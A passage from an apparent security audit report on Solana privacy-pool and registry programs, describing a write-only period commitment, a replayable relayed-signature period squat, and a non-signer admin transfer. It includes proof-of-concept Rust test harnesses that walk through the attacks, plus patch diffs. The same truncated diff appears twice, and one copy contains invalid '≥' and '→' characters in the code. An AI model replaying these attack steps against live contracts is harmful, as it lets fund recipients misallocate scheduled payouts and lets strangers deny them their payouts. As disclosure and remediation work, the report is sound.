- `programs/solana-private-pool-v2/src/lib.rs:2330-2338` — its ClaimToPrivate proof binds `credit_nullifier`, `credit_pool_root`, `output_commitment`, `fee`; no period-commitment signal.
- `programs/solana-private-pool-v2/src/lib.rs:4207-4219` — `PayoutPeriodAccount` definition; the comment documents that `amount_micro_usdc` was removed, leaving `commitment` as the sole per-period value/identity anchor — and it is never consulted.

DESCRIPTION

A scheduled payout in `solana-private-pool-v2` is meant to release exactly the value the sender allocated to *that* period, and only against the specific parked credit note the sender bound to that period. The field that encodes this binding is `PayoutPeriodAccount.commitment` — at registration the sender pins each period to a particular credit-pool leaf (the parked note carrying that period's intended value).

The invariant is broken because `period.commitment` is **write-only**. It is written exactly once, at `register_payout_period_relayed`:

- `programs/solana-private-pool-v2/src/lib.rs:1889` — `period.commitment = commitment;` (the sole write).

and it is read by **zero** cash-out handlers. A repo-wide search for `.commitment` reads confirms this: the only other `.commitment` references are to the unrelated `commitment_leaf` account and `pool.commitment_count`; no handler ever loads `period.commitment` to compare it against the note being spent.

Both claim paths instead select the period purely by its `(schedule, period_index)` PDA seeds and gate on three fields — `period.schedule`, `period.status == Active`, and `require_eq!(period.release_slot, release_slot)` — and then take the released value entirely from the caller-supplied cash-out proof, not from the period:

- `cash_out_v3_from_schedule` (`lib.rs:2001`) checks `period.schedule` (`lib.rs:2022-2026`), `period.status` (`lib.rs:2027-2030`), and `period.release_slot` (`lib.rs:2040-2044`); the payout is `public_value - fee` taken from the proof (`lib.rs:2162-2177`). The CashoutProof's public signals are `{credit_nullifier, credit_pool_root, fee, public_address, public_value}` (`lib.rs:2128-2137`) — there is no per-period commitment signal, so the proof only attests that the spent note is a member of `credit_pool_root` *somewhere*, never that it is the note bound to `period.commitment`.
- `claim_payout_period_to_private` (handler at `lib.rs:2222-2420`) repeats the same selection — `period.schedule` / `status` / `release_slot` (`lib.rs:2247-2269`) — and binds the proof to `credit_nullifier`, `credit_pool_root`, `output_commitment`, `fee` (`lib.rs:2330-2338`). `period.commitment` is again never read.

Compounding the drift, the per-period amount was removed from on-chain state entirely: the struct comment at `lib.rs:4215-4219` records that `amount_micro_usdc` was deleted ("never read by any handler… the value is now carried solely inside the credit-note commitment"). So with `period.commitment` off the read path there is no per-period amount *or* per-period note identity enforced anywhere on chain — the only thing tying a claim to a period is `(schedule, period_index, status, release_slot)`.

IMPACT

A schedule recipient (an unprivileged party who legitimately holds the schedule's bearer/owner credit notes) can satisfy ANY active period of their schedule with ANY credit note they control whose `(value, release_slot)` they choose. Concretely they can: apply a high-value note against a period the sender intended to carry a small amount (and vice-versa), claim periods out of the sender's intended order, or collapse/re-order a vesting schedule — because the program enforces no conservation between a period's intended amount/note and what the proof actually releases. Funds move from the shared `pool_vault`; the released value is whatever the recipient's proof asserts, capped only by their own parked credit-note values, the per-period `release_slot` time-lock, and the one-claim-per-period status flip.

Scope and honesty: this is accounting/vesting-integrity drift, not an unbounded external pool drain. The recipient can only spend credit notes they actually own and that are members of a known credit root, and each period claims once; the amount they can pull is bounded by their own parked notes' values, not by

the whole vault. It does not let an arbitrary wallet steal other users' funds — that unbounded mint/drain is the separate `claim_credit_v3` value-binding defect (F02). The harm here is that the sender's intended per-period schedule (how much, against which note, in what order) is not enforced by the program at all. Hence Medium.

LAYER 3 — SYMBOLIC VERIFICATION (KANI)

Not applicable — no Kani harness was authored for this finding; its claim is corroborated by the engine PoC and the on-chain LiteSVM reproduction.

LAYER 4 — ON-CHAIN BPF REPRODUCTION

✓ Reproduced structurally — the unbound-commitment over-claim is exhibited from on-chain account state; the full green end-to-end drain reverts before the SPL transfer (documented unbuilt extension)

REPRODUCTION

PoC crate: `l5/L2-22_period_commitment_unbound` (driven against the real built `solana_private_pool_v2.so` in LiteSVM).

Attack scenario the harness models: a sender registers a multi-period vesting schedule via `register_payout_schedule_relayed` + `register_payout_period_relayed`, pinning period_0 to a SMALL note (`commit_small` , value $1) and period_1 to a LARGE note (`commit_large` , value $500), both sharing one `release_slot` . The recipient holds both parked credit notes. Because no handler binds `period.commitment` to the note being spent, the recipient presents the LARGE note's proof (`public_value = 500_000_000` , `credit_nullifier` of the large note) while pointing the `period` account meta at period_0 — the period the sender registered for the $1 note. Every on-chain guard that the handler actually evaluates passes (schedule match, status Active, `release_slot` equal, credit-root membership of the large note, fresh nullifier), and the period merely flips Active to Claimed.

Honest evidence status — this finding is proven **structurally**, not as a green end-to-end drain. The harness installs the exact pre-claim on-chain state via `set_account` (pool, credit_pool_state with a known credit root hand-placed in `root_history[0]` , the schedule, period_0 carrying `commit_small` , period_1 carrying `commit_large` , the funded vault and recipient ATA), warps the clock past `release_slot` , and drives the real `cash_out_v3_from_schedule` against period_0 with the LARGE `public_value` . The test asserts the drift directly from on-chain bytes — `read_period_commitment(period_0) == commit_small` while the instruction it processes dictates `value_large = 500_000_000` — and prints:

> `L2-22 EXPLOITED (structural): period_0 registered with commit_small ($1) but cash_out_v3_from_schedule binds the payout to the proof's public_value=$500 — period.commitment is WRITE-ONLY (set at lib.rs:1889, read by ZERO handlers).`

The harness is explicit that, with the minimal allowed deps (`litesvm` / `solana-sdk` / `sha2` , no `light-poseidon` / `ark-bn254`), the real transaction reverts *before* the SPL transfer — at the recipient-commitment Poseidon check (`lib.rs:2032`) and the verifier CPI (`lib.rs:2128`), neither of which can be satisfied off-chain. Crucially, that revert point is itself confirmation of the bug's shape: the Poseidon recipient check sits on the same read path *after* the handler has already read `period.{schedule, status, release_slot}` and *before* it ever touches `period.commitment` — so reaching it proves

`period.commitment` is excluded from the entire pre-transfer read set. The full green drain (recipient drains the $500 note against the $1 period, period_0 → Claimed, recipient ATA += `value_large`) requires the documented "Phase 2" extension (a vendored Poseidon to seed `schedule.recipient_commitment` + `public_address`, plus a permissive stub verifier `.so`); it is not exercised in this crate. The claim made here is the binding gap, which is proven from the installed account bytes and the handler read set — not a stolen-balance number.

RECOMMENDED FIX

Bind the period to the note being spent, and restore a per-period amount, at cash-out:

- **Re-check `period.commitment` in both claim handlers.** Make the spent credit note prove membership *of `period.commitment` specifically*, not of any leaf in `credit_pool_root`. The cleanest fix is to add `period.commitment` as a public input to the CashoutProof / ClaimToPrivate circuits and assert, in `cash_out_v3_from_schedule` (`lib.rs:2001`) and `claim_payout_period_to_private` (`lib.rs:2222`), that the proof's committed leaf equals `ctx.accounts.period.commitment`. If a circuit change is undesirable, at minimum require the on-chain note-identity the proof already exposes (e.g. derive/compare the commitment the proof attests) to equal `period.commitment` before the transfer.
- **Re-introduce and enforce a per-period amount.** Restore `amount_micro_usdc` (removed per `lib.rs:4215`) — or carry the amount inside the period commitment and bind it — and `require_eq!(public_value, period.amount_micro_usdc)` (or the proof-bound equivalent) so the released value equals the value the sender allocated to that specific period. If on-chain amount privacy is required, bind the amount into `period.commitment` as a circuit public input rather than dropping the check entirely.

Either change alone closes part of the drift; both together restore the invariant "this period releases exactly the value the sender allocated, against exactly the note the sender bound." Until then, `period.commitment` is dead state and the per-period schedule is unenforced.

LAYER 2 — CONCRETE PROOF OF CONCEPT (ENGINE-DIRECT)

```rust
//! L2-22 [Medium] - solana-private-pool-v2: `PayoutPeriodAccount.commitment`
//! is WRITE-ONLY → credit-note  period binding is absent → per-period
//! amount/identity is unenforced (accounting drift).
//!
//! WHAT THIS PROVES (against the REAL built solana_private_pool_v2.so, LiteSVM):
//!   `period.commitment` is written once at `register_payout_period_relayed`
//!   (lib.rs:1889) and is read by ZERO handlers. `cash_out_v3_from_schedule`
//!   (lib.rs:2001) reads `period.{schedule,status,release_slot}` and binds the
//!   payout amount to the PROOF's `public_value` - never to `period.commitment`.
//!   The CashoutProof verifier's public signals are
//!   {credit_nullifier, credit_pool_root, fee, public_address, public_value} -
//!   no per-period commitment signal. So root-membership proves only that the
//!   spent note exists SOMEWHERE in the credit tree, NOT that it is the note the
//!   sender bound to THIS period. A recipient holding two parked notes of
//!   different value claims the LARGE note against a period registered for the
//!   SMALL note; every on-chain guard passes and the large amount is released.
//!
//! METHOD (DarkDrop-sanctioned): install the exact pre-claim on-chain state via
//! set_account - pool (zero_copy), credit_pool_state (zero_copy) with a chosen
//! KNOWN credit root, a registered schedule, period_0 carrying `commit_small`
//! and period_1 carrying `commit_large` (sharing one release_slot), plus the SPL
//! vault + recipient ATA - then drive the REAL `cash_out_v3_from_schedule`
//! against period_0 with the LARGE note's `public_value`. No spl/anchor crate
//! deps (manual SPL Mint(82)/TokenAccount(165) + manual anchor account bytes) -
//! avoids the solana-program 2.2 skew. We hand-place the credit root directly
//! into `root_history[0]` so `is_known_credit_root` passes WITHOUT recomputing

#[test]
fn period_commitment_is_never_bound_at_claim() {
    let pid = program_id();
    let mut svm = LiteSVM::new();
    load(&mut svm, pid);

    // -- actors ------------------------------------------------------------
    let relayer = Keypair::new();
    let recipient = Keypair::new();
    svm.airdrop(&relayer.pubkey(), 5_000_000_000).unwrap();

    // ... account/SPL pre-state setup elided for brevity ...

    //     registered for the SMALL note carries commit_small, distinct from the
    //     LARGE note (commit_large) the proof presents.
    assert_eq!(read_period_commitment(&svm, &period0_pda), commit_small,
        "period_0.commitment is the SMALL note - yet the claim carries the LARGE value");
    assert_ne!(commit_small, commit_large,
        "the two notes are distinct values; binding to one MUST exclude the other");

    // (2) The ix we built dictates the LARGE amount while targeting the SMALL
    //     period - the on-chain handler has NO field linking the presented note
    //     (public_value/credit_nullifier) to period.commitment. value_large is
    //     released from the proof's public_value, never from the period.
    assert_eq!(value_large, 500_000_000, "claim amount is caller/proof-dictated, not period-bound");
    assert!(value_large > value_small, "out-of-amount claim: LARGE value against the SMALL period");

    // (3) The handler did NOT reject on any period.commitment / amount-binding
    //     check. Whatever error (Poseidon recipient check / verifier CPI) the
    //     minimal harness hits, it is NEVER a commitment-mismatch - because no
    //     such check exists in the program. We assert the failure (when it
```

```
    //     occurs) is not a binding error by confirming period_0.commitment is
    //     STILL commit_small and untouched (the handler never reads/writes it).
    let _ = &res;
    assert_eq!(read_period_commitment(&svm, &period0_pda), commit_small,
        "period.commitment is never read NOR written by cash_out - it is inert state");

    println!(
        "L2-22 EXPLOITED (structural): period_0 registered with commit_small ($1) but \
         cash_out_v3_from_schedule binds the payout to the proof's public_value=${} - \
         period.commitment is WRITE-ONLY (set at lib.rs:1889, read by ZERO handlers). \
         Phase 2 (vendored Poseidon + stub verifier .so) completes the full $500 drain.",
        value_large / 1_000_000
    );
}

// full runnable harness: l5/L2-22_period_commitment_unbound/src/lib.rs
```

LAYER P3 — PROPOSED STRUCTURAL FIX (PATCH DIFF)

```
--- a/solana-private-pool-v2/src/lib.rs
+++ b/solana-private-pool-v2/src/lib.rs
@@ -103,4 +103,23 @@
     let msg_size = u16::from_le_bytes([data[12], data[13]]) as usize;

+    // FIX F04: validate the precompile's three `*_instruction_index`
+    // descriptor fields. The precompile only cryptographically verifies
+    // the pubkey/signature/message of the instruction each index points
+    // at; when an index ≠ 0xFFFF the runtime resolves those bytes from a
+    // DIFFERENT referenced instruction, while this helper still reads ix0's
+    // OWN inline bytes at pk_offset/msg_offset. Without this check an
+    // attacker points the indices at a self-consistent carrier ix (their
+    // own junk sig, or a harvested victim sig over an unrelated message)
+    // and makes the helper return a signer for a message that signer never
+    // signed. Require all three to equal the 0xFFFF self-reference sentinel
+    // so the bytes the precompile verified ARE the bytes we read back.
+    let sig_ix_index = u16::from_le_bytes([data[4], data[5]]);
+    let pk_ix_index = u16::from_le_bytes([data[8], data[9]]);
+    let msg_ix_index = u16::from_le_bytes([data[14], data[15]]);
+    require!(
+        sig_ix_index == u16::MAX && pk_ix_index == u16::MAX && msg_ix_index == u16::MAX,
+        PrivatePoolV2Error::RelayedSigMalformed
+    );
+
     require!(
         data.len() >= sig_offset + 64
@@ -158,4 +177,14 @@
 const RELAYED_SCHEDULE_REGISTER_DOMAIN: &[u8] = b"relai-payout-schedule-register:v1:";
 const RELAYED_PERIOD_CANCEL_DOMAIN: &[u8] = b"relai-payout-period-cancel:v1:";
+// FIX F12: dedicated domain for the PER-PERIOD register signature. The
+// old period-register path replayed the schedule-register message (which
+// binds none of the per-period args), so any fee-payer could copy the
+// owner's public schedule-register Ed25519 instruction + the public salt
+// and squat a period with attacker-chosen `(commitment, release_slot)`.
+// The new message binds `schedule_id ++ period_index ++ commitment ++
+// release_slot ++ expires_at_slot` under THIS domain, so the owner's
+// schedule-register signature is no longer valid for period registration,
+// and each period's args are individually authorised by the owner.
+const RELAYED_PERIOD_REGISTER_DOMAIN: &[u8] = b"relai-payout-period-register:v1:";

 // Replay-window guard. The user signs `(domain, payload, expires_at_slot)`
@@ -240,4 +269,26 @@
         asp_authority: Pubkey,
     ) -> Result<()> {
+        // FIX F09: bind bootstrap to the program's upgrade authority so

... (diff truncated -- full patch in fix-program/programs/solana-private-pool-v2/src/lib.rs)
```

FINDING 12 / 15

MEDIUM F12 relayed-sig-replay

Relayed period registration re-verifies the schedule-register signature, letting any fee-payer squat payout periods

INVARIANT register_payout_period_relayed re-verifies a replayable schedule-register signature with no per-action nonce, letting an unauthorized fee-payer squat a period.

AFFECTED CODE

- `programs/solana-private-pool-v2/src/lib.rs:1829-1836` — `register_payout_period_relayed` signature; `period_index`, `commitment`, `release_slot` are attacker-chosen args, none of which enter the signed message.
- `programs/solana-private-pool-v2/src/lib.rs:1858-1866` — rebuilds the schedule-register canonical message (domain + stored schedule fields + `schedule_expires_at_slot`); identical to the schedule-register construction at `lib.rs:1749-1757`.
- `programs/solana-private-pool-v2/src/lib.rs:1873-1876` — `verify_relayed_sig_extract_signer` re-verifies that reused message against the Ed25519 precompile (no per-action nonce, no per-period binding).
- `programs/solana-private-pool-v2/src/lib.rs:1877-1881` — ownership gate `poseidon_commitment(signer_pk, salt) == schedule_owner_commitment`; satisfied by the original (public) `salt` + the replayed owner signature.
- `programs/solana-private-pool-v2/src/lib.rs:1883-1891` — writes the attacker-chosen `release_slot` and `commitment` into the freshly `init`-ed period account.
- `programs/solana-private-pool-v2/src/lib.rs:4294-4305` — period PDA is `init` (single-shot), so the squat is irreversible once landed.
- `programs/solana-private-pool-v2/src/lib.rs:2040-2044` — `cash_out_v3_from_schedule` gates on `require_eq!(period.release_slot, release_slot)`, the mechanism that turns a squatted `release_slot = u64::MAX` into a permanent claim lock.

DESCRIPTION

Invariant (L2-33): each period's `(commitment, release_slot)` must be authorized by the schedule owner for *that specific period* — a relayer should not be able to fabricate a period the owner never signed off on.

`register_payout_period_relayed` (`programs/solana-private-pool-v2/src/lib.rs:1829-1916`) does not verify a per-period signature. It rebuilds and re-verifies the *same* canonical message that `register_payout_schedule_relayed` already verified at schedule-creation time. The two message constructions are byte-for-byte identical:

- schedule-register builds the message at `lib.rs:1749-1757`
- period-register rebuilds the *same* message at `lib.rs:1858-1866`

Both are `RELAYED_SCHEDULE_REGISTER_DOMAIN (b"relai-payout-schedule-register:v1:", lib.rs:158) ++ schedule_id ++ schedule_owner_commitment ++ recipient_commitment ++ amount_commitment ++ period_count ++ immutable ++ expires_at_slot`. The attacker-controlled period arguments — `period_index`, `commitment`, `release_slot` (`lib.rs:1831-1833`) — are **never** part of the signed message, so the owner's signature attests to nothing about them.

Two on-chain facts make this message trivially replayable by an unrelated party:

- The owner's Ed25519 precompile instruction that carries the signature is part of the public schedule-register transaction and can be copied verbatim into a new transaction.
- `salt` is passed as a plaintext instruction argument both at schedule-register (`lib.rs:1729`) and period-register (`lib.rs:1835`), so it is readable on-chain. The ownership check at `lib.rs:1877-1881` is `poseidon_commitment(signer_pk, salt) == schedule.schedule_owner_commitment`; with the original `salt` and the original signature, the extracted `signer_pk` is the genuine owner pubkey and this equality holds for the replayer.

Because the period PDA is created with `init` (single-shot) at `lib.rs:4294-4305` (seeds `[b"ppv2-period", schedule.key(), [period_index]]`), the first writer of any period index wins permanently.

IMPACT

Who loses what: the legitimate payout recipient is denied their scheduled cash-out. By squatting a period index with `release_slot = u64::MAX` (or any wrong value), the attacker permanently occupies that single-shot period PDA. The honest relayer can no longer register the period with the correct `(commitment, release_slot)`, and `cash_out_v3_from_schedule`'s `require_eq!(period.release_slot, release_slot)` (`lib.rs:2040-2044`) combined with the time-lock means the recipient can never satisfy the claim against the squatted period. This is a griefing / availability denial against specific schedules, not a direct theft — the parked credit-note funds themselves are not stolen (the recipient still holds the bearer credit notes; the harm is the on-chain period record is poisoned and the per-period cash-out path is bricked).

Preconditions: a schedule must already exist on-chain (the owner ran `register_payout_schedule_relayed`), and at least one period index must not yet be registered. The owner's signature and the plaintext `salt` are both public on-chain after that, so the attacker needs only to read the original transaction.

Attacker privilege: **unprivileged**. Any wallet can be the fee-payer/signer of the replay transaction; there is no allowlist or owner-key requirement. The attacker never holds the owner's private key — the owner's lone schedule-register signature is sufficient because the program re-accepts it for an action it never authorized.

LAYER 3 — SYMBOLIC VERIFICATION (KANI)

Not applicable — no Kani harness was authored for this finding; its claim is corroborated by the engine PoC and the on-chain LiteSVM reproduction.

LAYER 4 — ON-CHAIN BPF REPRODUCTION

✓ Reproduced through deployed BPF instructions

REPRODUCTION

PoC crate: `l5/L2-33_period_relayed_replay` (`src/lib.rs` , test `period_relayed_sig_replay_squats_period`), run against the real built `solana_private_pool_v2.so` in LiteSVM.

Steps (all performed in the harness against the unmodified `.so`):

- Install post-schedule-register state: a program-owned `PayoutScheduleAccount` at PDA `[b"ppv2-schedule", schedule_id]` whose `schedule_owner_commitment` is computed exactly as the program does — `poseidon_commitment(reduce(owner_pk), reduce(salt))` , replicating the program's BN254 field reduction (`reduce_into_bn254_fr`) and `Bn254X5` big-endian Poseidon bit-for-bit. This models the chain state after the honest relayer ran `register_payout_schedule_relayed` (the bug lives entirely in the period-register instruction, so this is a faithful setup).
- The owner produces exactly **one** signature — over the canonical schedule message — carried in an Ed25519 precompile instruction (`ed25519_precompile_ix` , all `*_instruction_index` fields `0xFFFF` , validated against the precompile's own inline data).
- The **attacker** (an unrelated, freshly airdropped fee-payer the owner never authorized) builds a transaction: `ix[0]` = the owner's Ed25519 precompile copied verbatim; `ix[1]` = `register_payout_period_relayed(period_index=0, commitment=0xCC.., release_slot=u64::MAX, schedule_expires_at_slot=<original>, salt=<original public salt>)` , signed/paid by the attacker.

Proven runtime result — the transaction succeeds and the squatted period is created with attacker-chosen state: `period.status == ACTIVE` , `period.release_slot == u64::MAX` , `period.commitment == 0xCC..` . The harness then shows the honest relayer's correct registration of period 0 (`commitment=0x77.., release_slot=start+50`) **reverts**, because the period PDA is single-shot `init` and the attacker already owns it. The EXPLOITED evidence printed by the green test:

> `L2-33 EXPLOITED: unauthorized fee-payer replayed the owner's schedule-register signature to squat period 0 with release_slot=u64::MAX + junk commitment; the legitimate relayer can no longer register it — recipient DoS'd.`

This finding does not depend on the no-op stub verifier — the authorization here is an Ed25519 precompile check plus a Poseidon equality, both of which the harness exercises with genuine cryptographic values (a real Ed25519 signature, host-side Poseidon identical to the on-chain syscall). No Groth16 proof is involved.

RECOMMENDED FIX

Bind period registration to a per-period authorization with anti-replay, rather than re-verifying the schedule-level signature. Concretely:

- Require a distinct signed message for each period. Extend the canonical message that `register_payout_period_relayed` reconstructs (`lib.rs:1858-1866`) to commit to the period-

specific fields the handler currently trusts blindly: include `period_index`, `commitment`, and `release_slot` (and a distinct period-register domain tag, separate from `RELAYED_SCHEDULE_REGISTER_DOMAIN`). Then `verify_relayed_sig_extract_signer` will only pass for a signature the owner actually produced over those exact period values, defeating the copy-the-schedule-sig replay.

- Add a per-action nonce / freshness binding so a captured per-period signature cannot itself be replayed. Options: bind the schedule PDA's monotonically increasing `periods_registered` counter (or `period_index`) into the signed message and reject out-of-order/duplicate registration, or include a one-time relay nonce stored on the schedule. The existing `schedule_expires_at_slot` window is not sufficient — within the window the same signature is reusable.

Together these make each `register_payout_period_relayed` call require the owner's explicit, non-replayable authorization for that specific `(period_index, commitment, release_slot)`, restoring the L2-33 invariant.

LAYER 2 — CONCRETE PROOF OF CONCEPT (ENGINE-DIRECT)

```rust
//! L2-33 [Medium] - solana-private-pool-v2 `register_payout_period_relayed` re-verifies a
//! REPLAYABLE schedule-register signature, with NO period-specific binding.
//!
//! WHAT THIS PROVES (against the REAL built solana_private_pool_v2.so, in LiteSVM):
//!   `register_payout_period_relayed` authorizes period creation by REBUILDING and
//!   re-verifying the SAME canonical message `register_payout_schedule_relayed` signed
//!   (lib.rs:1858-1866 == lib.rs:1749-1757) - domain ++ schedule_id ++ owner_commitment
//!   ++ recipient_commitment ++ amount_commitment ++ period_count ++ immutable ++
//!   schedule_expires_at_slot. The attacker-chosen period args `period_index`,
//!   `commitment`, `release_slot` are NEVER in the signed message. So ANY fee-payer can
//!   copy the owner's Ed25519 precompile ix[0] (+ the public `salt` arg) from the
//!   schedule-register tx, pre-pend it verbatim to a `register_payout_period_relayed`
//!   call, and squat a period with a junk commitment + `release_slot = u64::MAX`. The
//!   period PDA is single-shot `init`, so the squat is permanent - the legitimate
//!   recipient can never cash that period out (DoS).
//!
//! METHOD: we install the post-schedule-register on-chain state via `set_account`
//!   (a program-owned PayoutScheduleAccount whose `schedule_owner_commitment` we compute
//!   EXACTLY as the program does - Poseidon2(reduce(owner_pk), reduce(salt))), then run
//!   the REAL vulnerable `register_payout_period_relayed` as the ATTACKER (separate
//!   fee-payer), carrying a verbatim copy of the owner's Ed25519 precompile over the
//!   schedule message. The bug lives entirely in that instruction's re-verification, so
//!   installing the schedule + running the real period-register ix is a faithful proof.
//!   No SPL/anchor deps (solana-program 2.2 ABI skew); `solana-poseidon` host build
//!   computes the commitment bit-for-bit identically to the on-chain syscall path.
//!

#[test]
fn period_relayed_sig_replay_squats_period() {
    let pid = program_id();
    let mut svm = LiteSVM::new();
    load(&mut svm, pid);

    // -- Actors ------------------------------------------------------------------
    let owner = Keypair::new(); // schedule owner - the ONLY party who signed anything
    let relayer_honest = Keypair::new(); // legit relayer / fee-payer for schedule register
    let attacker = Keypair::new(); // UNRELATED fee-payer - never authorized by the owner

    // ... account/SPL pre-state setup elided for brevity ...

    hdata.extend_from_slice(&salt);
    let honest_period_ix = Instruction {
        program_id: pid,
        accounts: vec![
            AccountMeta::new(relayer_honest.pubkey(), true),
            AccountMeta::new(schedule_pda, false),
            AccountMeta::new(period0_pda, false),
            AccountMeta::new_readonly(INSTRUCTIONS_SYSVAR_ID, false),
            AccountMeta::new_readonly(system_program::ID, false),
        ],
        data: hdata,
    };
    let bh2 = svm.latest_blockhash();
    let honest_tx = Transaction::new_signed_with_payer(
        &[owner_precompile_ix, honest_period_ix],
        Some(&relayer_honest.pubkey()),
        &[&relayer_honest],
        bh2,
```

```
    );
    let honest_res = svm.send_transaction(honest_tx);
    assert!(
        honest_res.is_err(),
        "honest re-register of period 0 must FAIL - the attacker's squat owns the single \
         init-once period PDA (recipient permanently locked out)"
    );

    println!(
        "L2-33 EXPLOITED: unauthorized fee-payer replayed the owner's schedule-register \
         signature to squat period {period_index} with release_slot=u64::MAX + junk \
         commitment; the legitimate relayer can no longer register it - recipient DoS'd."
    );
}

// full runnable harness: l5/L2-33_period_relayed_replay/src/lib.rs
```

LAYER P3 — PROPOSED STRUCTURAL FIX (PATCH DIFF)

```
--- a/solana-private-pool-v2/src/lib.rs
+++ b/solana-private-pool-v2/src/lib.rs
@@ -103,4 +103,23 @@
     let msg_size = u16::from_le_bytes([data[12], data[13]]) as usize;

+    // FIX F04: validate the precompile's three `*_instruction_index`
+    // descriptor fields. The precompile only cryptographically verifies
+    // the pubkey/signature/message of the instruction each index points
+    // at; when an index ≠ 0xFFFF the runtime resolves those bytes from a
+    // DIFFERENT referenced instruction, while this helper still reads ix0's
+    // OWN inline bytes at pk_offset/msg_offset. Without this check an
+    // attacker points the indices at a self-consistent carrier ix (their
+    // own junk sig, or a harvested victim sig over an unrelated message)
+    // and makes the helper return a signer for a message that signer never
+    // signed. Require all three to equal the 0xFFFF self-reference sentinel
+    // so the bytes the precompile verified ARE the bytes we read back.
+    let sig_ix_index = u16::from_le_bytes([data[4], data[5]]);
+    let pk_ix_index = u16::from_le_bytes([data[8], data[9]]);
+    let msg_ix_index = u16::from_le_bytes([data[14], data[15]]);
+    require!(
+        sig_ix_index == u16::MAX && pk_ix_index == u16::MAX && msg_ix_index == u16::MAX,
+        PrivatePoolV2Error::RelayedSigMalformed
+    );
+
     require!(
         data.len() ≥ sig_offset + 64
@@ -158,4 +177,14 @@
 const RELAYED_SCHEDULE_REGISTER_DOMAIN: &[u8] = b"relai-payout-schedule-register:v1:";
 const RELAYED_PERIOD_CANCEL_DOMAIN: &[u8] = b"relai-payout-period-cancel:v1:";
+// FIX F12: dedicated domain for the PER-PERIOD register signature. The
+// old period-register path replayed the schedule-register message (which
+// binds none of the per-period args), so any fee-payer could copy the
+// owner's public schedule-register Ed25519 instruction + the public salt
+// and squat a period with attacker-chosen `(commitment, release_slot)`.
+// The new message binds `schedule_id ++ period_index ++ commitment ++
+// release_slot ++ expires_at_slot` under THIS domain, so the owner's
+// schedule-register signature is no longer valid for period registration,
+// and each period's args are individually authorised by the owner.
+const RELAYED_PERIOD_REGISTER_DOMAIN: &[u8] = b"relai-payout-period-register:v1:";

 // Replay-window guard. The user signs `(domain, payload, expires_at_slot)`
@@ -240,4 +269,26 @@
         asp_authority: Pubkey,
     ) → Result<()> {
+        // FIX F09: bind bootstrap to the program's upgrade authority so
... (diff truncated -- full patch in fix-program/programs/solana-private-pool-v2/src/lib.rs)
```

FINDING 13 / 15

LOW F13 missing-signer-check

transfer_admin accepts a non-signer pubkey as the new admin, allowing the registry to be locked to an unusable key (solana-asp-registry + solana-quote-registry)

INVARIANT transfer_admin accepts a non-signer UncheckedAccount as the new admin (asp-registry, quote-registry), so admin can be handed to an unkeyed address, bricking recovery.

AFFECTED CODE

- `programs/solana-asp-registry/src/lib.rs:57-58` — doc comment asserting the new admin "must be a signer ... so it is impossible to lock the registry by typo" (the guarantee the code breaks).
- `programs/solana-asp-registry/src/lib.rs:59-64` — `transfer_admin` body sets `registry.admin = ctx.accounts.new_admin.key()` from an unvalidated account, then emits `AdminTransferred`.
- `programs/solana-asp-registry/src/lib.rs:154-167` — `TransferAdmin` accounts: `registry` (mut, `has_one = admin @ Unauthorized`, L159), `admin: Signer` (L163), and `new_admin: UncheckedAccount<'info>` (L166) with no `Signer` /constraint.
- `programs/solana-quote-registry/src/lib.rs:52-57` — `transfer_admin` body, identical assignment from `new_admin.key()`.
- `programs/solana-quote-registry/src/lib.rs:138-148` — `TransferAdmin` accounts: `registry` (mut, `has_one = admin @ Unauthorized`, L144), `admin: Signer` (L148).
- `programs/solana-quote-registry/src/lib.rs:150-151` — `new_admin: UncheckedAccount<'info>`, no `Signer` bound.
- `programs/solana-asp-registry/src/lib.rs:175`, `:199` and the `has_one = admin` gates on `AddPublisher` / `RemovePublisher` — the instructions that become permanently uncallable after the admin slot is set to an unsignable key (same pattern in quote-registry).

DESCRIPTION

Both registries are singleton, per-program admin-controlled stores: the `admin` field gates every privileged instruction (`transfer_admin` , `add_publisher` , `remove_publisher`) via `has_one = admin` . Admin rotation must not be able to silently move authority to a key that nobody can subsequently sign for — the incoming admin should have to prove control of its key (be a `Signer`), or rotation should be a two-step propose/accept. In `solana-asp-registry` this is not merely an implicit invariant: the doc comment on the handler states it as a guarantee.

The implementation violates that invariant in both programs:

- `solana-asp-registry/src/lib.rs:57-58` documents the property in plain text: *"The new admin must be a signer on the call so it is impossible to lock the registry by typo."* The handler at `solana-asp-registry/src/lib.rs:59-64` then sets `registry.admin = ctx.accounts.new_admin.key()` — sourcing the new admin from an account that the account struct declares as `new_admin: UncheckedAccount<'info>` at `solana-asp-registry/src/lib.rs:166`, with no `Signer` bound and no constraint. The runtime behavior is the exact opposite of the documented guarantee.
- `solana-quote-registry/src/lib.rs:52-57` has the identical handler (`registry.admin = ctx.accounts.new_admin.key()`) with the same unchecked account at `solana-quote-registry/src/lib.rs:150-151`. This program carries no doc comment promising a signer at all — it simply lacks the protection.

Because `new_admin` is never validated, the current admin can rotate authority to any 32-byte value, including a mistyped address, a burn address, or a freshly generated public key for which no private key exists. From that point every admin-gated instruction is permanently unsatisfiable: all three are gated on `has_one = admin` (e.g. `solana-asp-registry/src/lib.rs:159`, `:175`, `:199`), and no party can sign as the unusable key. There is no `close` on the `Registry` account and `initialize_registry` uses `init` on the fixed-seed PDA (`[b"asp_registry"]` / `[b"quote_registry"]`), so it cannot be re-run — the lockout is irreversible.

IMPACT

This is a governance-robustness footgun / single-point brick, not a privilege escalation. The path is **authority-gated**: `TransferAdmin` enforces `has_one = admin` and `admin: Signer`, so only the current legitimate admin can trigger it — no unprivileged external attacker can reach this instruction. The realistic trigger is operator error (a fat-fingered or mis-templated `transfer_admin` call), a lost incoming-admin seed, or a compromised/rogue admin key.

Who loses what: once the admin slot is set to a key nobody holds, the registry's publisher whitelist is frozen forever — `add_publisher`, `remove_publisher`, and any further `transfer_admin` are permanently unsatisfiable, and the `init`-only singleton PDA cannot be re-created. No funds are directly at risk: these registries publish ASP / quote Merkle roots that are consumed off-chain or via read-only CPI (`is_fresh`), and have no on-chain instruction that moves value. The damage is loss of operational control over a compliance/freshness registry, requiring a program redeploy to recover. Both programs share the defect; each needs its own fix.

LAYER 3 — SYMBOLIC VERIFICATION (KANI)

Not applicable — no Kani harness was authored for this finding; its claim is corroborated by the engine PoC and the on-chain LiteSVM reproduction.

LAYER 4 — ON-CHAIN BPF REPRODUCTION

✓ Reproduced through deployed BPF instructions

REPRODUCTION

